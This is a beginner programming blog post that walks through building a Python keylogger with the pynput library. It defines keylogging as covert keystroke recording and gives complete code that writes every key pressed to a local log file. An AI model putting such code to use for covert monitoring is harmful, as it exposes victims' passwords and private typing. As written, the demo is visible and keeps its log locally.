Keylogger Python

Keylogger Using Python1 min read

Well In this Post, We will Be Creating a Keylogger Using Python. And This is Going to Be Interseting Project And Any Beginner can Also Try This Project.

What is a Keylogger?

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program.

Summer Promo 2022 (en)

Modules Used In this Project:

pynput – This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported.

pip install pynput

Python Code:

# keylogger using pynput module

import pynput
from pynput.keyboard import Key, Listener

keys = []


def on_press(key):
    keys.append(key)
    write_file(keys)

    try:
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))


def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            # removing ''
            k = str(key).replace("'", "")
            f.write(k)


            # every keystroke for readability
            f.write(' ')

def on_release(key):
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False


with Listener(on_press=on_press,
              on_release=on_release) as listener:
    listener.join()

GitHub Repo

Summer Promo 2022 (en)

Read Also:

• Web Server In Node.js

• Realtime Chat Application Socket.io

• Email Automation Using Python

Download Source Code

Summer Promo 2022 (en)
Tanmay Sinha

Author

  • Tanmay Sinha

    Founder & CEO of MrProgrammer.in | I help Learning Freaks to Step into the World of Programming and Our Mission is to Provide High Quality and Valuable Content to Our Users! We believe that everyone has the potential to learn to code, and we are committed to making that happen. Our courses are designed to be engaging and interactive, and we offer a variety of learning paths to meet the needs of all learners. We are also committed to providing our learners with the support they need to succeed, and we offer a variety of resources to help learners learn at their own pace. If you are interested in learning to code, we encourage you to check out our courses. We are confident that you will find our content to be high-quality, valuable, and makes sense.